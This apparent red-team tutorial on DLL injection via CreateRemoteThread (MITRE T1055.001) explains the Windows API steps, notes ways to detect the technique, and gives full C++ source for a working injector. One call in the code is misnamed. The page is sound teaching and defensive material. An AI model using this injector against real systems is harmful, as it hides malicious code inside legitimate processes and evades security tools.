Process Injection : T1055.001: Injecting DLL using the CreateRemoteThread

Load DLL into the target process and execute using Remote Thread

What are we doing here?

In this technique an attacker will inject the malicious DLL into another process using CreateRemoteThread function. This means that we will create a Thread into the target process and then extract that thread to load the malicious DLL from our desired path.

This technique is executed in below steps:

  • Write the DLL path into the target process using the WriteProcessMemory function;

  • Call CreateRemoteThread function which will create the thread in target process, this thread will start running where the function LoadLibrary is; and

  • LoadLibrary function will load the DLL so we have to point LoadLibrary function to the DLL path so that our DLL is injected into the memory.

What is CreateRemoteThread (processthreadsapi.h) Function?

As per Microsoft, it is a function that "Creates a thread that runs in the virtual address space of another process." To difficult to understand ? so let me try to make it simple for you.

Create a thread = Thread is basically a unit of execution within the process. A process can have one thread or many threads. This CreateRemoteThread function will create a thread in the target process that can execute any part of the process code, including parts currently being executed by another thread.

Virtual address space= The virtual address space for a process is the set of virtual memory addresses that it can use. In short where the process allocated all its memory, load DLL etc.

Syntax for CreateRemoteThread function:
HANDLE CreateRemoteThread(
  HANDLE                 hProcess,
  LPSECURITY_ATTRIBUTES  lpThreadAttributes,
  SIZE_T                 dwStackSize,
  LPTHREAD_START_ROUTINE lpStartAddress,
  LPVOID                 lpParameter,
  DWORD                  dwCreationFlags,
  LPDWORD                lpThreadId
);
Syntax for CreateRemoteThreadEx function:
HANDLE CreateRemoteThreadEx(
  HANDLE                       hProcess,
  LPSECURITY_ATTRIBUTES        lpThreadAttributes,
  SIZE_T                       dwStackSize,
  LPTHREAD_START_ROUTINE       lpStartAddress,
  LPVOID                       lpParameter,
  DWORD                        dwCreationFlags,
  LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList,
  LPDWORD                      lpThreadId
);

Common Window APIs used in this technique?

As per MITRE, DLL injection is commonly performed by writing the path to a DLL in the virtual address space of the target process before loading the DLL by invoking a new thread. The write can be performed with native Windows API calls such as VirtualAllocEx and WriteProcessMemory, then invoked with CreateRemoteThread (which calls the LoadLibrary API responsible for loading the DLL).

  • WriteProcessMemory: Open handle and then write path of the DLL into the target process using this function.

  • CreateRemoteThread: Will create a thread into the target process and tells the thread to start running the function load library.

  • Load library: This is the function which will load the DLL, so we need to point Load Library function to the DLL path and then that the injected DLL will load into the memory.

  • VirtualAllocEx: This is extended function of VirtualAlloc function, which is used to allocate memory in the current process. It has extra power were we can provide handle to the process that has atleast the ProcessVM operation access mask and then it will be able to allocate memory in that process.

What can this technique be used for ?

  • It can allow you to access process's memory, it's system/network resources, and also can help in escalating privileges.

  • May help in bypassing the defensive solutions as we are running DLL In the context of legitimate process.

How it can be detected?

  • As per my experience in Red Team and Pentest Engagements this technique is easily detected by EDR solutions and properly configured antivirus solutions.

  • Look for Function Hooks

  • Look for ETW thread events

  • Windows API calls such as CreateRemoteThread and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.

  • Monitor DLL/PE file events, specifically creation of these binary files as well as the loading of DLLs into processes. Look for DLLs that are not recognized or not normally loaded into a process.

  • Process behavior analysis to determine if a process is performing actions it usually does not.

Example Code:

The below code will generate an executable which will take the malicious DLL and process ID as the parameter and use CreateRemoteThread method for the injection:

// ProcessInjection-CreateRemoteThread.cpp : This file contains the 'main' function. Program execution begins and ends there.
//

#include <Windows.h>
#include <stdio.h>

int Error(const char* msg) {
    printf("%s (%u)\n", msg, GetLastError());
    return 1;
}

int main(int argc, const char* argv[]) { //We want to inject any DLL into any Process, so we are accepting any DLL and Process as an argument
    if (argc < 3) {
        printf("Usage: ProcessInjection-CreateRemoteThread <processid> <pathtoDLL> \n");  //Usage message if you try to run program with insufficient parameters
        return 0;
    }
    int pid = atoi(argv[1]); //Convert first command line arg into the process ID (integer value) 

    HANDLE processopen;
    HANDLE processthread;
    PVOID remotebuffer;

    processopen = OpenProcess(PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_CREATE_THREAD, FALSE, pid);  
    if (!processopen)
        return ERROR("Error opening process, check your privileges");

    remotebuffer = VirtualAllocEx(processopen, nullptr, 1 << 12, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (!remotebuffer)
        return Error("Not possible to allocate memory");

    if (!WriteProcessMemory(processopen, remotebuffer, argv[2], strlen(argv[2]), nullptr))
        return Error("failed to write memory");

    processthread = CreateRemoteThread(processopen,nullptr, 0,
        (LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(L"kernel32"), "LoadLibraryA"),
        remotebuffer, 0, nullptr);
    if (!processthread)
        return Error("Error while creating the thread");
    return 0;

}

Tools available for Offensive Engineers:

Tools available for Defensive Engineers:

References:

Last updated